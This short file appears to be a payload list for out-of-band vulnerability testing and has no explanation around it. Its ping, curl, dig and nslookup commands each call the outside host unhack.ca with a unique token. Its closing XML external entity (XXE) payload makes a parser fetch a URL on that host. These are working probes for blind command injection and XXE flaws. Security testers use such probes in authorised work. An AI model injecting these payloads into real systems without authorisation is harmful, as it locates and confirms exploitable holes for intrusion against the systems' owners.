$ ping -c1 -p 0083d6c8bb574977e928a14153f5fa00 unhack.ca
$ curl http://unhack.ca/p/83d6c8bb574977e928a14153f5fa
$ dig 83d6c8bb574977e928a14153f5fa @unhack.ca
$ dig 83d6c8bb574977e928a14153f5fa.ns.unhack.ca
C:\> nslookup 83d6c8bb574977e928a14153f5fa unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/83d6c8bb574977e928a14153f5fa">]> <foo>&xxe;</foo>